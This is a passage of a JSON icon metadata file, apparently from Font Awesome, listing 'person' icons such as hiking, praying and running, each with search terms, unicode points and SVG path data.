        "path": "M160 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm8 352V128h6.9c33.7 0 64.9 17.7 82.3 46.6l58.3 97c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352h0zM58.2 182.3c19.9-33.1 55.3-53.5 93.8-54.3V384h0v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H70.2c-10.9 0-18.6-10.7-15.2-21.1L93.3 248.1 59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l53.6-89.2z"
      }
    },
    "free": ["solid"]
  },
  "person-harassing": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abuse", "scream", "shame", "shout", "yell"]
    },
    "styles": ["solid"],
    "unicode": "e549",
    "label": "Person Harassing",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM59.4 304.5L88 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V235.3l47.4 57.1c11.3 13.6 31.5 15.5 45.1 4.2s15.5-31.5 4.2-45.1l-73.7-88.9c-18.2-22-45.3-34.7-73.9-34.7H145.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9zM480 240a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM464 344v58.7l-41.4-41.4c-7.3-7.3-17.6-10.6-27.8-9s-18.9 8.1-23.5 17.3l-48 96c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3L408.8 438l54.7 54.7c12.4 12.4 29.1 19.3 46.6 19.3c36.4 0 65.9-29.5 65.9-65.9V344c0-30.9-25.1-56-56-56s-56 25.1-56 56zM288 48c0 8.8 7.2 16 16 16h56c8.8 0 16-7.2 16-16s-7.2-16-16-16H304c-8.8 0-16 7.2-16 16zm-.8 49.7c-7.9-4-17.5-.7-21.5 7.2s-.7 17.5 7.2 21.5l48 24c7.9 4 17.5 .7 21.5-7.2s.7-17.5-7.2-21.5l-48-24z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM59.4 304.5L88 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V235.3l47.4 57.1c11.3 13.6 31.5 15.5 45.1 4.2s15.5-31.5 4.2-45.1l-73.7-88.9c-18.2-22-45.3-34.7-73.9-34.7H145.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9zM480 240a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM464 344v58.7l-41.4-41.4c-7.3-7.3-17.6-10.6-27.8-9s-18.9 8.1-23.5 17.3l-48 96c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3L408.8 438l54.7 54.7c12.4 12.4 29.1 19.3 46.6 19.3c36.4 0 65.9-29.5 65.9-65.9V344c0-30.9-25.1-56-56-56s-56 25.1-56 56zM288 48c0 8.8 7.2 16 16 16h56c8.8 0 16-7.2 16-16s-7.2-16-16-16H304c-8.8 0-16 7.2-16 16zm-.8 49.7c-7.9-4-17.5-.7-21.5 7.2s-.7 17.5 7.2 21.5l48 24c7.9 4 17.5 .7 21.5-7.2s.7-17.5-7.2-21.5l-48-24z"
      }
    },
    "free": ["solid"]
  },
  "person-hiking": {
    "aliases": {
      "names": ["hiking"],
      "unicodes": {
        "secondary": ["10f6ec"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "autumn",
        "fall",
        "hike",
        "mountain",
        "outdoors",
        "summer",
        "walk"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6ec",
    "label": "Person Hiking",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm51.3 182.7L224.2 307l49.7 49.7c9 9 14.1 21.2 14.1 33.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V397.3l-73.9-73.9c-15.8-15.8-22.2-38.6-16.9-60.3l20.4-84c8.3-34.1 42.7-54.9 76.7-46.4c19 4.8 35.6 16.4 46.4 32.7L305.1 208H336V184c0-13.3 10.7-24 24-24s24 10.7 24 24v55.8c0 .1 0 .2 0 .2s0 .2 0 .2V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V272H296.6c-16 0-31-8-39.9-21.4l-13.3-20zM81.1 471.9L117.3 334c3 4.2 6.4 8.2 10.1 11.9l41.9 41.9L142.9 488.1c-4.5 17.1-22 27.3-39.1 22.8s-27.3-22-22.8-39.1zm55.5-346L101.4 266.5c-3 12.1-14.9 19.9-27.2 17.9l-47.9-8c-14-2.3-22.9-16.3-19.2-30L31.9 155c9.5-34.8 41.1-59 77.2-59h4.2c15.6 0 27.1 14.7 23.3 29.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm51.3 182.7L224.2 307l49.7 49.7c9 9 14.1 21.2 14.1 33.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V397.3l-73.9-73.9c-15.8-15.8-22.2-38.6-16.9-60.3l20.4-84c8.3-34.1 42.7-54.9 76.7-46.4c19 4.8 35.6 16.4 46.4 32.7L305.1 208H336V184c0-13.3 10.7-24 24-24s24 10.7 24 24v55.8c0 .1 0 .2 0 .2s0 .2 0 .2V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V272H296.6c-16 0-31-8-39.9-21.4l-13.3-20zM81.1 471.9L117.3 334c3 4.2 6.4 8.2 10.1 11.9l41.9 41.9L142.9 488.1c-4.5 17.1-22 27.3-39.1 22.8s-27.3-22-22.8-39.1zm55.5-346L101.4 266.5c-3 12.1-14.9 19.9-27.2 17.9l-47.9-8c-14-2.3-22.9-16.3-19.2-30L31.9 155c9.5-34.8 41.1-59 77.2-59h4.2c15.6 0 27.1 14.7 23.3 29.8z"
      }
    },
    "free": ["solid"]
  },
  "person-military-pointing": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["army", "customs", "guard"]
    },
    "styles": ["solid"],
    "unicode": "e54a",
    "label": "Person Military Pointing",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M246.9 14.1C234 15.2 224 26 224 39c0 13.8 11.2 25 25 25H400c8.8 0 16-7.2 16-16V17.4C416 8 408 .7 398.7 1.4L246.9 14.1zM240 112c0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H241.6c-1 5.2-1.6 10.5-1.6 16zM72 224c-22.1 0-40 17.9-40 40s17.9 40 40 40H224v89.4L386.8 230.5c-13.3-4.3-27.3-6.5-41.6-6.5H240 72zm345.7 20.9L246.6 416H416V369.7l53.6 90.6c11.2 19 35.8 25.3 54.8 14.1s25.3-35.8 14.1-54.8L462.3 290.8c-11.2-18.9-26.6-34.5-44.6-45.9zM224 448v32c0 17.7 14.3 32 32 32H384c17.7 0 32-14.3 32-32V448H224z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M246.9 14.1C234 15.2 224 26 224 39c0 13.8 11.2 25 25 25H400c8.8 0 16-7.2 16-16V17.4C416 8 408 .7 398.7 1.4L246.9 14.1zM240 112c0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H241.6c-1 5.2-1.6 10.5-1.6 16zM72 224c-22.1 0-40 17.9-40 40s17.9 40 40 40H224v89.4L386.8 230.5c-13.3-4.3-27.3-6.5-41.6-6.5H240 72zm345.7 20.9L246.6 416H416V369.7l53.6 90.6c11.2 19 35.8 25.3 54.8 14.1s25.3-35.8 14.1-54.8L462.3 290.8c-11.2-18.9-26.6-34.5-44.6-45.9zM224 448v32c0 17.7 14.3 32 32 32H384c17.7 0 32-14.3 32-32V448H224z"
      }
    },
    "free": ["solid"]
  },
  "person-military-rifle": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["armed forces", "army", "military", "rifle", "war"]
    },
    "styles": ["solid"],
    "unicode": "e54b",
    "label": "Person Military Rifle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 39c0-13 10-23.8 22.9-24.9L334.7 1.4C344 .7 352 8 352 17.4V48c0 8.8-7.2 16-16 16H185c-13.8 0-25-11.2-25-25zm17.6 57H334.4c1 5.2 1.6 10.5 1.6 16c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-5.5 .6-10.8 1.6-16zm228 364.3L352 369.7V480c0 1.3-.1 2.5-.2 3.8L177.5 234.9c16.6-7.1 34.6-10.9 53.3-10.9h50.4c15.9 0 31.3 2.8 45.8 7.9L421.9 67.7c-7.7-4.4-10.3-14.2-5.9-21.9s14.2-10.3 21.9-5.9l13.9 8 13.9 8c7.7 4.4 10.3 14.2 5.9 21.9L416 173.9l1.6 .9c15.3 8.8 20.6 28.4 11.7 43.7L392.6 282c2 2.8 3.9 5.8 5.7 8.8l76.1 128.8c11.2 19 4.9 43.5-14.1 54.8s-43.5 4.9-54.8-14.1zM320 512H192c-17.7 0-32-14.3-32-32V369.7l-53.6 90.6c-11.2 19-35.8 25.3-54.8 14.1s-25.3-35.8-14.1-54.8l76.1-128.8c9.4-15.8 21.7-29.3 36-40L331.1 510c-3.5 1.3-7.2 2-11.1 2zM296 320a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 39c0-13 10-23.8 22.9-24.9L334.7 1.4C344 .7 352 8 352 17.4V48c0 8.8-7.2 16-16 16H185c-13.8 0-25-11.2-25-25zm17.6 57H334.4c1 5.2 1.6 10.5 1.6 16c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-5.5 .6-10.8 1.6-16zm228 364.3L352 369.7V480c0 1.3-.1 2.5-.2 3.8L177.5 234.9c16.6-7.1 34.6-10.9 53.3-10.9h50.4c15.9 0 31.3 2.8 45.8 7.9L421.9 67.7c-7.7-4.4-10.3-14.2-5.9-21.9s14.2-10.3 21.9-5.9l13.9 8 13.9 8c7.7 4.4 10.3 14.2 5.9 21.9L416 173.9l1.6 .9c15.3 8.8 20.6 28.4 11.7 43.7L392.6 282c2 2.8 3.9 5.8 5.7 8.8l76.1 128.8c11.2 19 4.9 43.5-14.1 54.8s-43.5 4.9-54.8-14.1zM320 512H192c-17.7 0-32-14.3-32-32V369.7l-53.6 90.6c-11.2 19-35.8 25.3-54.8 14.1s-25.3-35.8-14.1-54.8l76.1-128.8c9.4-15.8 21.7-29.3 36-40L331.1 510c-3.5 1.3-7.2 2-11.1 2zM296 320a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "person-military-to-person": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["civilian", "coordination", "military"]
    },
    "styles": ["solid"],
    "unicode": "e54c",
    "label": "Person Military To Person",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M71 12.5c-8.6 1-15 8.2-15 16.8c0 9.3 7.5 16.8 16.7 16.9H184.1c8.8-.1 15.9-7.2 15.9-16V16c0-9.5-8.3-17-17.8-15.9L71 12.5zM189.5 78.1H66.5C64.9 83.8 64 89.8 64 96c0 35.3 28.7 64 64 64s64-28.7 64-64c0-6.2-.9-12.2-2.5-17.9zM32 256v32c0 17.7 14.3 32 32 32H192c1.8 0 3.5-.1 5.2-.4L53 208.6C40.1 220.3 32 237.2 32 256zm190.2 42.5c1.1-3.3 1.8-6.8 1.8-10.5V256c0-35.3-28.7-64-64-64H96c-3.7 0-7.4 .3-10.9 .9L222.2 298.5zM384 160a64 64 0 1 0 0-128 64 64 0 1 0 0 128zm-32 32c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32H448c17.7 0 32-14.3 32-32V256c0-35.3-28.7-64-64-64H352zM215.8 450.1c5.2-4.6 8.2-11.1 8.2-18.1s-3-13.5-8.2-18.1l-64-56c-7.1-6.2-17.1-7.7-25.7-3.8S112 366.6 112 376v32l-88 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l88 0v32c0 9.4 5.5 18 14.1 21.9s18.6 2.4 25.7-3.8l64-56zM288 431.9c0 6.9 2.9 13.5 8.1 18.1l64 56.4c7.1 6.2 17.1 7.8 25.7 3.9s14.1-12.4 14.1-21.9l0-32.4 88 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-88 0 0-32c0-9.4-5.5-18-14.1-21.9s-18.6-2.4-25.7 3.8l-64 56c-5.2 4.5-8.2 11.1-8.2 18z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M71 12.5c-8.6 1-15 8.2-15 16.8c0 9.3 7.5 16.8 16.7 16.9H184.1c8.8-.1 15.9-7.2 15.9-16V16c0-9.5-8.3-17-17.8-15.9L71 12.5zM189.5 78.1H66.5C64.9 83.8 64 89.8 64 96c0 35.3 28.7 64 64 64s64-28.7 64-64c0-6.2-.9-12.2-2.5-17.9zM32 256v32c0 17.7 14.3 32 32 32H192c1.8 0 3.5-.1 5.2-.4L53 208.6C40.1 220.3 32 237.2 32 256zm190.2 42.5c1.1-3.3 1.8-6.8 1.8-10.5V256c0-35.3-28.7-64-64-64H96c-3.7 0-7.4 .3-10.9 .9L222.2 298.5zM384 160a64 64 0 1 0 0-128 64 64 0 1 0 0 128zm-32 32c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32H448c17.7 0 32-14.3 32-32V256c0-35.3-28.7-64-64-64H352zM215.8 450.1c5.2-4.6 8.2-11.1 8.2-18.1s-3-13.5-8.2-18.1l-64-56c-7.1-6.2-17.1-7.7-25.7-3.8S112 366.6 112 376v32l-88 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l88 0v32c0 9.4 5.5 18 14.1 21.9s18.6 2.4 25.7-3.8l64-56zM288 431.9c0 6.9 2.9 13.5 8.1 18.1l64 56.4c7.1 6.2 17.1 7.8 25.7 3.9s14.1-12.4 14.1-21.9l0-32.4 88 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-88 0 0-32c0-9.4-5.5-18-14.1-21.9s-18.6-2.4-25.7 3.8l-64 56c-5.2 4.5-8.2 11.1-8.2 18z"
      }
    },
    "free": ["solid"]
  },
  "person-praying": {
    "aliases": {
      "names": ["pray"],
      "unicodes": {
        "composite": ["1f6d0"],
        "secondary": ["10f683"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["kneel", "place of worship", "religion", "thank", "worship"]
    },
    "styles": ["solid"],
    "unicode": "f683",
    "label": "Person Praying",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 64A64 64 0 1 0 224 64a64 64 0 1 0 128 0zM232.7 264l22.9 31.5c6.5 8.9 16.3 14.7 27.2 16.1s21.9-1.7 30.4-8.7l88-72c17.1-14 19.6-39.2 5.6-56.3s-39.2-19.6-56.3-5.6l-55.2 45.2-26.2-36C253.6 156.7 228.6 144 202 144c-30.9 0-59.2 17.1-73.6 44.4L79.8 280.9c-20.2 38.5-9.4 85.9 25.6 111.8L158.6 432H72c-22.1 0-40 17.9-40 40s17.9 40 40 40H280c17.3 0 32.6-11.1 38-27.5s-.3-34.4-14.2-44.7L187.7 354l45-90z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 64A64 64 0 1 0 224 64a64 64 0 1 0 128 0zM232.7 264l22.9 31.5c6.5 8.9 16.3 14.7 27.2 16.1s21.9-1.7 30.4-8.7l88-72c17.1-14 19.6-39.2 5.6-56.3s-39.2-19.6-56.3-5.6l-55.2 45.2-26.2-36C253.6 156.7 228.6 144 202 144c-30.9 0-59.2 17.1-73.6 44.4L79.8 280.9c-20.2 38.5-9.4 85.9 25.6 111.8L158.6 432H72c-22.1 0-40 17.9-40 40s17.9 40 40 40H280c17.3 0 32.6-11.1 38-27.5s-.3-34.4-14.2-44.7L187.7 354l45-90z"
      }
    },
    "free": ["solid"]
  },
  "person-pregnant": {
    "changes": ["6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["baby", "birth", "child", "pregnant", "pregnant woman", "woman"]
    },
    "styles": ["solid"],
    "unicode": "e31e",
    "label": "Person Pregnant",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM120 383c-13.8-3.6-24-16.1-24-31V296.9l-4.6 7.6c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c15-24.9 40.3-41.5 68.7-45.6c4.1-.6 8.2-1 12.5-1h1.1 12.5H192c1.4 0 2.8 .1 4.1 .3c35.7 2.9 65.4 29.3 72.1 65l6.1 32.5c44.3 8.6 77.7 47.5 77.7 94.3v32c0 17.7-14.3 32-32 32H304 264v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384h-8-8v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V383z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM120 383c-13.8-3.6-24-16.1-24-31V296.9l-4.6 7.6c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c15-24.9 40.3-41.5 68.7-45.6c4.1-.6 8.2-1 12.5-1h1.1 12.5H192c1.4 0 2.8 .1 4.1 .3c35.7 2.9 65.4 29.3 72.1 65l6.1 32.5c44.3 8.6 77.7 47.5 77.7 94.3v32c0 17.7-14.3 32-32 32H304 264v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384h-8-8v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V383z"
      }
    },
    "free": ["solid"]
  },
  "person-rays": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "focus", "shine"]
    },
    "styles": ["solid"],
    "unicode": "e54d",
    "label": "Person Rays",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9l-28.6 47.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l58.3 97c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9L328 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H248zM7 7C16.4-2.3 31.6-2.3 41 7l80 80c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L7 41C-2.3 31.6-2.3 16.4 7 7zM471 7c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-80 80c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L471 7zM7 505c-9.4-9.4-9.4-24.6 0-33.9l80-80c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L41 505c-9.4 9.4-24.6 9.4-33.9 0zm464 0l-80-80c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l80 80c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M208 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9l-28.6 47.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l58.3 97c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9L328 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H248zM7 7C16.4-2.3 31.6-2.3 41 7l80 80c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L7 41C-2.3 31.6-2.3 16.4 7 7zM471 7c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-80 80c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L471 7zM7 505c-9.4-9.4-9.4-24.6 0-33.9l80-80c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L41 505c-9.4 9.4-24.6 9.4-33.9 0zm464 0l-80-80c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l80 80c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "person-rifle": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["army", "combatant", "gun", "military", "rifle", "war"]
    },
    "styles": ["solid"],
    "unicode": "e54e",
    "label": "Person Rifle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M265.2 192c25.4 0 49.8 7.1 70.8 19.9V512H144V337.7L90.4 428.3c-11.2 19-35.8 25.3-54.8 14.1s-25.3-35.8-14.1-54.8L97.7 258.8c24.5-41.4 69-66.8 117.1-66.8h50.4zM160 80a80 80 0 1 1 160 0A80 80 0 1 1 160 80zM448 0c8.8 0 16 7.2 16 16V132.3c9.6 5.5 16 15.9 16 27.7V269.3l16-5.3V208c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v84.5c0 6.9-4.4 13-10.9 15.2L480 325.3V352h48c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H484l23 92.1c2.5 10.1-5.1 19.9-15.5 19.9H432c-8.8 0-16-7.2-16-16V400H400c-17.7 0-32-14.3-32-32V224c0-17.7 14.3-32 32-32V160c0-11.8 6.4-22.2 16-27.7V32c-8.8 0-16-7.2-16-16s7.2-16 16-16h16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M265.2 192c25.4 0 49.8 7.1 70.8 19.9V512H144V337.7L90.4 428.3c-11.2 19-35.8 25.3-54.8 14.1s-25.3-35.8-14.1-54.8L97.7 258.8c24.5-41.4 69-66.8 117.1-66.8h50.4zM160 80a80 80 0 1 1 160 0A80 80 0 1 1 160 80zM448 0c8.8 0 16 7.2 16 16V132.3c9.6 5.5 16 15.9 16 27.7V269.3l16-5.3V208c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v84.5c0 6.9-4.4 13-10.9 15.2L480 325.3V352h48c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H484l23 92.1c2.5 10.1-5.1 19.9-15.5 19.9H432c-8.8 0-16-7.2-16-16V400H400c-17.7 0-32-14.3-32-32V224c0-17.7 14.3-32 32-32V160c0-11.8 6.4-22.2 16-27.7V32c-8.8 0-16-7.2-16-16s7.2-16 16-16h16 16z"
      }
    },
    "free": ["solid"]
  },
  "person-running": {
    "aliases": {
      "names": ["running"],
      "unicodes": {
        "composite": ["1f3c3"],
        "secondary": ["10f70c"]
      }
    },
    "changes": ["5.4.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["exit", "flee", "marathon", "person running", "race", "running"]
    },
    "styles": ["solid"],
    "unicode": "f70c",
    "label": "Person Running",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M320 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM125.7 175.5c9.9-9.9 23.4-15.5 37.5-15.5c1.9 0 3.8 .1 5.6 .3L137.6 254c-9.3 28 1.7 58.8 26.8 74.5l86.2 53.9-25.4 88.8c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l28.7-100.4c5.9-20.6-2.6-42.6-20.7-53.9L238 299l30.9-82.4 5.1 12.3C289 264.7 323.9 288 362.7 288H384c17.7 0 32-14.3 32-32s-14.3-32-32-32H362.7c-12.9 0-24.6-7.8-29.5-19.7l-6.3-15c-14.6-35.1-44.1-61.9-80.5-73.1l-48.7-15c-11.1-3.4-22.7-5.2-34.4-5.2c-31 0-60.8 12.3-82.7 34.3L57.4 153.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l23.1-23.1zM91.2 352H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h69.6c19 0 36.2-11.2 43.9-28.5L157 361.6l-9.5-6c-17.5-10.9-30.5-26.8-37.9-44.9L91.2 352z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M320 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM125.7 175.5c9.9-9.9 23.4-15.5 37.5-15.5c1.9 0 3.8 .1 5.6 .3L137.6 254c-9.3 28 1.7 58.8 26.8 74.5l86.2 53.9-25.4 88.8c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l28.7-100.4c5.9-20.6-2.6-42.6-20.7-53.9L238 299l30.9-82.4 5.1 12.3C289 264.7 323.9 288 362.7 288H384c17.7 0 32-14.3 32-32s-14.3-32-32-32H362.7c-12.9 0-24.6-7.8-29.5-19.7l-6.3-15c-14.6-35.1-44.1-61.9-80.5-73.1l-48.7-15c-11.1-3.4-22.7-5.2-34.4-5.2c-31 0-60.8 12.3-82.7 34.3L57.4 153.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l23.1-23.1zM91.2 352H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h69.6c19 0 36.2-11.2 43.9-28.5L157 361.6l-9.5-6c-17.5-10.9-30.5-26.8-37.9-44.9L91.2 352z"
      }
    },
    "free": ["solid"]
  },
  "person-shelter": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["house", "inside", "roof", "safe", "safety", "shelter"]
    },
    "styles": ["solid"],
    "unicode": "e54f",
    "label": "Person Shelter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M271.9 4.2c-9.8-5.6-21.9-5.6-31.8 0l-224 128C6.2 137.9 0 148.5 0 160V480c0 17.7 14.3 32 32 32s32-14.3 32-32V178.6L256 68.9 448 178.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V160c0-11.5-6.2-22.1-16.1-27.8l-224-128zM256 208a40 40 0 1 0 0-80 40 40 0 1 0 0 80zm-8 280V400h16v88c0 13.3 10.7 24 24 24s24-10.7 24-24V313.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-37.9-70.3c-15.3-28.5-45.1-46.3-77.5-46.3H246.2c-32.4 0-62.1 17.8-77.5 46.3l-37.9 70.3c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L200 313.5V488c0 13.3 10.7 24 24 24s24-10.7 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
